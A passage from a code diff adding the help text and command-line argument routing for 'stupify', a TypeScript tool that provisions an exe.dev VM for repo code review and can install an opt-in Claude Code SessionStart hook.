+ ${pc.dim('Usage')} ${pc.dim('(run from your laptop)')}
582
+ stupify provision an exe.dev VM that reviews your repo ${pc.dim('(the magic)')}
583
+ stupify <owner/repo> provision for a specific repo
584
+ stupify setup [repo] install on THIS machine instead of provisioning a VM
585
+ stupify run [--dry] run one review sweep now (where stupify is installed)
586
+ stupify taste [--pack a,b] pick the code yours should look like (assembles ~/.stupify/.review)
587
+ stupify prime --install prime Claude Code with your taste every session (adds a SessionStart hook)
588
+ stupify prime --uninstall remove that hook
589
+ stupify --help
590
+
591
+ ${pc.dim('Flags')}
592
+ --host <h.int.exe.xyz> integration host (for 'setup')
593
+ --pack <a,b,...> taste packs to review against (e.g. anton-kropp,zod); 'own' = bring your own .review/
594
+ --yes, -y accept detected defaults, no prompts (for CI / scripts)
595
+
596
+ ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then one command does the rest.")} https://stupif.ai`)
597
+ }
598
+
599
+ // --- routing ---
600
+ const args = process.argv.slice(2)
601
+ const yes = args.includes('--yes') || args.includes('-y')
602
+ const valueFlag = (name: string) => {
603
+ const i = args.indexOf(name)
604
+ return i >= 0 ? args[i + 1] : undefined
605
+ }
606
+ const host = valueFlag('--host')
607
+ const pack = valueFlag('--pack')
608
+ const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host' && args[i - 1] !== '--pack')
609
+ const cmd = positional[0]
610
+
611
+ if (args.includes('-h') || args.includes('--help')) {
612
+ help()
613
+ } else if (cmd === 'taste') {
614
+ await taste({ pack })
615
+ } else if (cmd === 'prime') {
616
+ if (args.includes('--install')) await installPrimeHook({ pack })
617
+ else if (args.includes('--uninstall')) uninstallPrimeHook()
618
+ else emitPrime() // bare `prime`: machine-called by the SessionStart hook — prints only the JSON payload
619
+ } else if (cmd === 'run') {
620
+ run(args.includes('--dry'))
621
+ } else if (cmd === 'setup') {
622
+ await setup({ repo: positional[1], host, yes, pack })
623
+ } else {
624
+ // default (and explicit `provision`): provision an exe.dev VM
625
+ await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes, pack })
626
+ }